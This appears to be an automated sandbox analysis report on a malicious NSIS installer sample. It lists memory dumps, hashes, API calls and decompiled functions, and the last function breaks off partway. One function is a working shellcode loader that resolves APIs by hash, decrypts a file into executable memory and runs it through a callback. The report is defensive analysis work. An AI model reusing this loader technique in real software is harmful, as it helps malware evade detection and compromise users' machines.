Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\NAO09009009.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\NAO09009009.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3055316631
Opcode ID: 8ac029ab22eb7184ad5584a5e27cb41e00d28439acf5d8243c8b0e7e81677052
Instruction ID: 2d933c795242ec911d1e8c81cb1b116df6d8be9c0bdf84dd3ae94b8088f318b1
Opcode Fuzzy Hash: 8ac029ab22eb7184ad5584a5e27cb41e00d28439acf5d8243c8b0e7e81677052
Instruction Fuzzy Hash: 7CD1F6B1200310AAD720BF759D49B2B3AADEB40709F51443FF881B62D1DB7D8956C76E

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4E, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00405C4E(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405F19(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x42a308 =  *0x42a308 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040653C(0x425750, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405E5D(_t68);
					} else {
						lstrcatW(0x425750, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x425750,  &_v604);
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040653C(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405C06(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004055A4(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x42a308 =  *0x42a308 + 1;
										} else {
											E004055A4(0xfffffff1, _t68);
											E00406302(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405C4E(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604);
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x425750 - 0x5c;
					if( *0x425750 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E0040689A(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405E11(_t68);
							_t38 = E00405C06(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004055A4(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004055A4(0xfffffff1, _t68);
							return E00406302(_t67, _t68, 0);
						}
						L30:
						 *0x42a308 =  *0x42a308 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405c58
0x00405c5d
0x00405c66
0x00405c69
0x00405c71
0x00405c74
0x00405c77
0x00405c7f
0x00405c81
0x00405c82
0x00000000
0x00405c82
0x00405c8d
0x00405c90
0x00405c90
0x00405c90
0x00405c94
0x00405ca7
0x00405cae
0x00405cb3
0x00405cb7
0x00405cc7
0x00405cb9
0x00405cbf
0x00405cbf
0x00405ccc
0x00405cd0
0x00405cdc
0x00405ce2
0x00405ce7
0x00405ced
0x00405cf8
0x00405cfe
0x00405d00
0x00405d03
0x00405dad
0x00405dad
0x00405db1
0x00405db3
0x00405db3
0x00405db3
0x00405db3
0x00000000
0x00000000
0x00000000
0x00000000
0x00405d09
0x00405d09
0x00405d09
0x00405d11
0x00405d31
0x00405d39
0x00405d3e
0x00405d45
0x00405d60
0x00405d65
0x00405d67
0x00405d8b
0x00405d69
0x00405d69
0x00405d6c
0x00405d80
0x00405d6e
0x00405d71
0x00405d79
0x00405d79
0x00405d6c
0x00405d47
0x00405d4d
0x00405d4f
0x00405d55
0x00405d55
0x00405d4f
0x00000000
0x00405d45
0x00405d13
0x00405d1b
0x00000000
0x00000000
0x00405d1d
0x00405d25
0x00000000
0x00000000
0x00405d27
0x00405d2f
0x00000000
0x00000000
0x00000000
0x00405d90
0x00405d98
0x00405d9e
0x00405d9e
0x00405da7
0x00000000
0x00405da7
0x00405cd2
0x00405cda
0x00000000
0x00000000
0x00000000
0x00405c96
0x00405c96
0x00405c98
0x00405db8
0x00405dba
0x00405dbd
0x00405e0e
0x00405e0e
0x00405e0e
0x00405dbf
0x00405dc2
0x00405dcd
0x00405dd2
0x00405dd4
0x00000000
0x00000000
0x00405dd7
0x00405de3
0x00405de8
0x00405dea
0x00000000
0x00405e05
0x00405dec
0x00405def
0x00000000
0x00000000
0x00405df4
0x00000000
0x00405dfb
0x00405dc4
0x00405dc4
0x00000000
0x00405dc4
0x00405c9e
0x00405ca1
0x00000000
0x00000000
0x00000000
0x00405ca1

APIs

DeleteFileW.KERNELBASE(?,?,74B5FAA0,74B5F560,00000000), ref: 00405C77
lstrcatW.KERNEL32(00425750,\*.*), ref: 00405CBF
lstrcatW.KERNEL32(?,0040A014), ref: 00405CE2
lstrlenW.KERNEL32(?,?,0040A014,?,00425750,?,?,74B5FAA0,74B5F560,00000000), ref: 00405CE8
FindFirstFileW.KERNEL32(00425750,?,?,?,0040A014,?,00425750,?,?,74B5FAA0,74B5F560,00000000), ref: 00405CF8
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D98
FindClose.KERNEL32(00000000), ref: 00405DA7

Strings

PWB, xrefs: 00405CA7
"C:\Users\user\Desktop\NAO09009009.exe" , xrefs: 00405C4E
\*.*, xrefs: 00405CB9

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\NAO09009009.exe" $PWB$\*.*
API String ID: 2035342205-2571072596
Opcode ID: 19551799e8c5b82fe64fd6c9cdad713e8761b335c3851407baa620d6eabf161c
Instruction ID: 388f2befc2087cc18a81576ce5b748581f321be521e7d033b0a51c5b8adb9818
Opcode Fuzzy Hash: 19551799e8c5b82fe64fd6c9cdad713e8761b335c3851407baa620d6eabf161c
Instruction Fuzzy Hash: C141CF30800A14BADB21AB65DC8DABF7678EF41718F50813BF841B51D1D77C4A82DEAE

Uniqueness

Uniqueness Score: -1.00%

Function 10001000, Relevance: 6.1, APIs: 4, Instructions: 96
filememorytimeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E10001000(void* __eflags) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v536;
				intOrPtr* _t24;
				void* _t33;
				_Unknown_base(*)()* _t34;
				int _t37;
				signed char _t50;
				_Unknown_base(*)()* _t52;

				_v8 = 0;
				_t51 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)))))) + 0x18));
				_v12 = E10001160( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)))))) + 0x18)), 0x8a111d91);
				_t24 = E10001160( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)))))) + 0x18)), 0xa4f84a9a);
				_v16 = E10001160(_t51, 0x433a3842);
				E10001160(_t51, 0xa5f15738);
				 *((intOrPtr*)(E10001160(_t51, 0xcbec1a0)))();
				 *_t24( &_v536, 0x10003000, 0x103,  &_v536);
				_t33 = CreateFileW( &_v536, 0x80000000, 7, 0, 3, 0x80, 0);
				_t34 = VirtualAlloc(0, 0x3e05, 0x3000, 0x40); // executed
				_t52 = _t34;
				ReadFile(_t33, _t52, 0x3e05,  &_v8, 0);
				_t50 = 0;
				if(_v8 > 0) {
					do {
						asm("rol al, 0x3");
						asm("ror al, 1");
						 *(_t52 + _t50) = (((( ~( *(_t52 + _t50)) ^ _t50) + _t50 ^ 0x0000009a) - _t50 ^ _t50) - 0x00000001 ^ 0x00000027) - 0x0000007b ^ _t50;
						_t50 = _t50 + 1;
					} while (_t50 < _v8);
				}
				_t37 = EnumTimeFormatsW(_t52, 0, 0); // executed
				return _t37;
			}

0x1000100c
0x10001026
0x10001039
0x1000103c
0x10001054
0x10001057
0x1000107b
0x10001089
0x100010a4
0x100010b7
0x100010bb
0x100010c8
0x100010cb
0x100010d0
0x100010d2
0x100010d7
0x100010dc
0x100010ee
0x100010f1
0x100010f2
0x100010d2
0x100010fc
0x10001108

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 100010A4
VirtualAlloc.KERNELBASE(00000000,00003E05,00003000,00000040), ref: 100010B7
ReadFile.KERNELBASE(00000000,00000000,00003E05,00000000,00000000), ref: 100010C8
EnumTimeFormatsW.KERNELBASE(00000000,00000000,00000000), ref: 100010FC

Memory Dump Source

Source File: 00000000.00000002.220358160.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.220347485.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.220372737.0000000010002000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AllocCreateEnumFormatsReadTimeVirtual
String ID:
API String ID: 2368423067-0
Opcode ID: e06ca6c2d63bc29f611f3480dd170e29c35ff03d93403976166d92972b67ff85
Instruction ID: 5c18b2f4c616b3ceda6ef24b1ea1b060a10f707b94739c5c42c9b468d52f88a9
Opcode Fuzzy Hash: e06ca6c2d63bc29f611f3480dd170e29c35ff03d93403976166d92972b67ff85
Instruction Fuzzy Hash: 5821F635A40308BBEB11D7B48C8AFDBB7BCDB16B90F1000A9F604EB181D674AA058A65

Uniqueness

Uniqueness Score: -1.00%

Function 00406C5B, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00406C5B() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M004074FE))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
